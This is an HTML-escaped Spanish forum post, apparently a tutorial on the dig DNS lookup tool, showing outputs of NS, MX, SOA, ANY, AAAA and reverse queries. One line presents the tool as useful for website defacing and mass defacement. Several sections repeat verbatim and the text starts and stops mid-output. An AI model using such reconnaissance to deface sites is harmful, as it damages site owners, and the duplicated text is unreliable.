/&gt;;; Query time: 383 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:09:15 2007&lt;br /&gt;;; MSG SIZE  rcvd: 436&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size: 15pt; line-height: 1.3em;"&gt;&lt;b&gt;&lt;br /&gt;Algunas funciones de dig:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;Tracer:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig web.com +trace&lt;/div&gt;Bueno creo que es logico lo que hace.....&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Resolver DNS de una web:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig web.com NS&lt;/div&gt;&lt;br /&gt;Esto nos devuelve la lista de los servidores DNS de determinada web.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ejemplo:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com NS&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com NS&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 27071&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      NS&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             64768   IN      NS      ns1.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns2.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns3.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns2.google.com.         345450  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345450  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345450  IN      A       216.239.38.10&lt;br /&gt;ns1.google.com.         345450  IN      A       216.239.32.10&lt;br /&gt;&lt;br /&gt;;; Query time: 276 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:26:59 2007&lt;br /&gt;;; MSG SIZE  rcvd: 164&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Listar Servidores de Correo de determinado dominio:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com MX&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com MX&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 35446&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      MX&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             4237    IN      MX      10 smtp1.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp2.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp3.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;smtp2.google.com.       1054    IN      A       64.233.167.25&lt;br /&gt;smtp3.google.com.       1060    IN      A       64.233.183.25&lt;br /&gt;smtp4.google.com.       1066    IN      A       72.14.215.25&lt;br /&gt;smtp1.google.com.       3329    IN      A       72.14.203.25&lt;br /&gt;&lt;br /&gt;;; Query time: 583 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:28:39 2007&lt;br /&gt;;; MSG SIZE  rcvd: 180&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Consultar datos de un Dominio en determinado servidor DNS:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com @ns1.google.com&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com @ns1.google.com&lt;br /&gt;; (1 server found)&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 34414&lt;br /&gt;;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      A&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             300     IN      A       64.233.167.99&lt;br /&gt;google.com.             300     IN      A       72.14.207.99&lt;br /&gt;google.com.             300     IN      A       64.233.187.99&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;google.com.             345600  IN      NS      ns1.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns2.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns3.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns1.google.com.         345600  IN      A       216.239.32.10&lt;br /&gt;ns2.google.com.         345600  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345600  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345600  IN      A       216.239.38.10&lt;br /&gt;&lt;br /&gt;;; Query time: 1124 msec&lt;br /&gt;;; SERVER: 216.239.32.10#53(216.239.32.10)&lt;br /&gt;;; WHEN: Tue Sep 25 20:30:38 2007&lt;br /&gt;;; MSG SIZE  rcvd: 212&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;DNS Inverso:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig -x google.com&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; -x google.com&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: FORMERR, id: 36927&lt;br /&gt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;com.google.in-addr.arpa.       IN      PTR&lt;br /&gt;&lt;br /&gt;;; Query time: 3 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:35:52 2007&lt;br /&gt;;; MSG SIZE  rcvd: 41&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Numero IP en IPv6:&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt;dig google.com AAAA&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com AAAA&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 21031&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      AAAA&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;google.com.             39      IN      SOA     ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300&lt;br /&gt;&lt;br /&gt;;; Query time: 1084 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:41:20 2007&lt;br /&gt;;; MSG SIZE  rcvd: 78&lt;br /&gt;&lt;/div&gt;[/b]&lt;br /&gt;&lt;br /&gt;otra funcion que tambien les recomiendo es la de ANY, la cual nos devuelve los servidores de correo, DNS, y varios datos mas:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com ANY&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com ANY&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 65404&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 8&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      ANY&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             181     IN      A       64.233.167.99&lt;br /&gt;google.com.             181     IN      A       72.14.207.99&lt;br /&gt;google.com.             181     IN      A       64.233.187.99&lt;br /&gt;google.com.             63936   IN      NS      ns1.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns2.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns3.google.com.&lt;br /&gt;google.com.             63936   IN      NS      ns4.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp2.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp3.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp4.google.com.&lt;br /&gt;google.com.             3505    IN      MX      10 smtp1.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns2.google.com.         345481  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345481  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345481  IN      A       216.239.38.10&lt;br /&gt;ns1.google.com.         345481  IN      A       216.239.32.10&lt;br /&gt;smtp3.google.com.       328     IN      A       64.233.183.25&lt;br /&gt;smtp4.google.com.       334     IN      A       72.14.215.25&lt;br /&gt;smtp1.google.com.       3332    IN      A       72.14.203.25&lt;br /&gt;smtp2.google.com.       322     IN      A       64.233.167.25&lt;br /&gt;&lt;br /&gt;;; Query time: 1243 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:40:52 2007&lt;br /&gt;;; MSG SIZE  rcvd: 364&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Mail del responsable y otros datos del DNS:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com SOA&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com SOA&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 52736&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      SOA&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             86400   IN      SOA     ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300&lt;br /&gt;&lt;br /&gt;;; Query time: 2563 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:51:14 2007&lt;br /&gt;;; MSG SIZE  rcvd: 78&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;aqui el correo seria: &lt;a href="mailto:dns-admin@google.com"&gt;dns-admin@google.com&lt;/a&gt; (cambiando el "." por @), el DNS primario seria: ns1.google.com, y su ultima actualizacion fue: 2007/09/17,  el TTL (Time to a live) es de 300, el tiempo de espera para actualizacion de los DNS's secundarios (con respecto al primario) es de: 7200, el tiempo de reintento (cuando hay error al conectar con DNS primario) es de: 1800, y el tiempo de caducidad (el tiempo que el servidor mantendra en cache los datos sin actualizar en caso de error de actualizacion) es de: 1209600 (si no me equivoco estos datos estan en milisegundos).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;otras funciones utiles:&lt;/b&gt;&lt;br /&gt;+nocmd&lt;br /&gt;+nocomments&lt;br /&gt;+noquestion&lt;br /&gt;+noanswer&lt;br /&gt;+noauthority&lt;br /&gt;+noadditional&lt;br /&gt;+nostats&lt;br /&gt;+noall&lt;br /&gt;&lt;br /&gt;Su funcion es logica, y son utiles cuando queremos resumir las respuestas....Dig es una herramienta principalmente de linux, utilizada para el envio de ordenes DNS, esta herramienta es muy util hablando de defacing, y de detectar que webs estan en un server (utilizado para mass defacement), sin mas que decir comenzemos:&lt;br /&gt;&lt;br /&gt;El primer comando que es de los que mas destaca de los que utilizaremos es el siguiente:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig ns&lt;/div&gt;&lt;br /&gt;Este comando nos devolvera una lista de super DNS, que podremos utilizar para trabajar:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; ns&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 4874&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 13, AUTHORITY: 0, ADDITIONAL: 13&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;.                              IN      NS&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;.                       234977  IN      NS      L.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      M.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      A.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      B.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      C.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      D.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      E.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      F.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      G.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      H.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      I.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      J.ROOT-SERVERS.NET.&lt;br /&gt;.                       234977  IN      NS      K.ROOT-SERVERS.NET.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;M.ROOT-SERVERS.NET.     30938   IN      A       202.12.27.33&lt;br /&gt;A.ROOT-SERVERS.NET.     591011  IN      A       198.41.0.4&lt;br /&gt;B.ROOT-SERVERS.NET.     30938   IN      A       192.228.79.201&lt;br /&gt;C.ROOT-SERVERS.NET.     39988   IN      A       192.33.4.12&lt;br /&gt;D.ROOT-SERVERS.NET.     53749   IN      A       128.8.10.90&lt;br /&gt;E.ROOT-SERVERS.NET.     30938   IN      A       192.203.230.10&lt;br /&gt;F.ROOT-SERVERS.NET.     591011  IN      A       192.5.5.241&lt;br /&gt;G.ROOT-SERVERS.NET.     53680   IN      A       192.112.36.4&lt;br /&gt;H.ROOT-SERVERS.NET.     30939   IN      A       128.63.2.53&lt;br /&gt;I.ROOT-SERVERS.NET.     40043   IN      A       192.36.148.17&lt;br /&gt;J.ROOT-SERVERS.NET.     591011  IN      A       192.58.128.30&lt;br /&gt;K.ROOT-SERVERS.NET.     591011  IN      A       193.0.14.129&lt;br /&gt;L.ROOT-SERVERS.NET.     30938   IN      A       198.32.64.12&lt;br /&gt;&lt;br /&gt;;; Query time: 383 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:09:15 2007&lt;br /&gt;;; MSG SIZE  rcvd: 436&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size: 15pt; line-height: 1.3em;"&gt;&lt;b&gt;&lt;br /&gt;Algunas funciones de dig:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;Tracer:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig web.com +trace&lt;/div&gt;Bueno creo que es logico lo que hace.....&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Resolver DNS de una web:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig web.com NS&lt;/div&gt;&lt;br /&gt;Esto nos devuelve la lista de los servidores DNS de determinada web.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ejemplo:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com NS&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com NS&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 27071&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      NS&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             64768   IN      NS      ns1.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns2.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns3.google.com.&lt;br /&gt;google.com.             64768   IN      NS      ns4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns2.google.com.         345450  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345450  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345450  IN      A       216.239.38.10&lt;br /&gt;ns1.google.com.         345450  IN      A       216.239.32.10&lt;br /&gt;&lt;br /&gt;;; Query time: 276 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:26:59 2007&lt;br /&gt;;; MSG SIZE  rcvd: 164&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Listar Servidores de Correo de determinado dominio:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com MX&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com MX&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 35446&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      MX&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             4237    IN      MX      10 smtp1.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp2.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp3.google.com.&lt;br /&gt;google.com.             4237    IN      MX      10 smtp4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;smtp2.google.com.       1054    IN      A       64.233.167.25&lt;br /&gt;smtp3.google.com.       1060    IN      A       64.233.183.25&lt;br /&gt;smtp4.google.com.       1066    IN      A       72.14.215.25&lt;br /&gt;smtp1.google.com.       3329    IN      A       72.14.203.25&lt;br /&gt;&lt;br /&gt;;; Query time: 583 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:28:39 2007&lt;br /&gt;;; MSG SIZE  rcvd: 180&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Consultar datos de un Dominio en determinado servidor DNS:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com @ns1.google.com&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com @ns1.google.com&lt;br /&gt;; (1 server found)&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 34414&lt;br /&gt;;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 4, ADDITIONAL: 4&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      A&lt;br /&gt;&lt;br /&gt;;; ANSWER SECTION:&lt;br /&gt;google.com.             300     IN      A       64.233.167.99&lt;br /&gt;google.com.             300     IN      A       72.14.207.99&lt;br /&gt;google.com.             300     IN      A       64.233.187.99&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;google.com.             345600  IN      NS      ns1.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns2.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns3.google.com.&lt;br /&gt;google.com.             345600  IN      NS      ns4.google.com.&lt;br /&gt;&lt;br /&gt;;; ADDITIONAL SECTION:&lt;br /&gt;ns1.google.com.         345600  IN      A       216.239.32.10&lt;br /&gt;ns2.google.com.         345600  IN      A       216.239.34.10&lt;br /&gt;ns3.google.com.         345600  IN      A       216.239.36.10&lt;br /&gt;ns4.google.com.         345600  IN      A       216.239.38.10&lt;br /&gt;&lt;br /&gt;;; Query time: 1124 msec&lt;br /&gt;;; SERVER: 216.239.32.10#53(216.239.32.10)&lt;br /&gt;;; WHEN: Tue Sep 25 20:30:38 2007&lt;br /&gt;;; MSG SIZE  rcvd: 212&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;DNS Inverso:&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig -x google.com&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; -x google.com&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: FORMERR, id: 36927&lt;br /&gt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;com.google.in-addr.arpa.       IN      PTR&lt;br /&gt;&lt;br /&gt;;; Query time: 3 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:35:52 2007&lt;br /&gt;;; MSG SIZE  rcvd: 41&lt;br /&gt;&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Numero IP en IPv6:&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt;dig google.com AAAA&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com AAAA&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 21031&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0&lt;br /&gt;&lt;br /&gt;;; QUESTION SECTION:&lt;br /&gt;;google.com.                    IN      AAAA&lt;br /&gt;&lt;br /&gt;;; AUTHORITY SECTION:&lt;br /&gt;google.com.             39      IN      SOA     ns1.google.com. dns-admin.google.com. 2007091701 7200 1800 1209600 300&lt;br /&gt;&lt;br /&gt;;; Query time: 1084 msec&lt;br /&gt;;; SERVER: 192.168.1.254#53(192.168.1.254)&lt;br /&gt;;; WHEN: Tue Sep 25 20:41:20 2007&lt;br /&gt;;; MSG SIZE  rcvd: 78&lt;br /&gt;&lt;/div&gt;[/b]&lt;br /&gt;&lt;br /&gt;otra funcion que tambien les recomiendo es la de ANY, la cual nos devuelve los servidores de correo, DNS, y varios datos mas:&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; dig google.com ANY&lt;br /&gt;&lt;br /&gt;; &lt;&lt;&gt;&gt; DiG 9.3.2 &lt;&lt;&gt;&gt; google.com ANY&lt;br /&gt;;; global options:  printcmd&lt;br /&gt;;; Got answer:&lt;br /&gt;;; &lt;img src="http://uf.yethost.com/Smileys/default/arrow.gif" alt="Flecha" border="0" /&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 65404&lt;br /&gt;;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 8&lt;br /&gt;&lt;br /&gt;;; 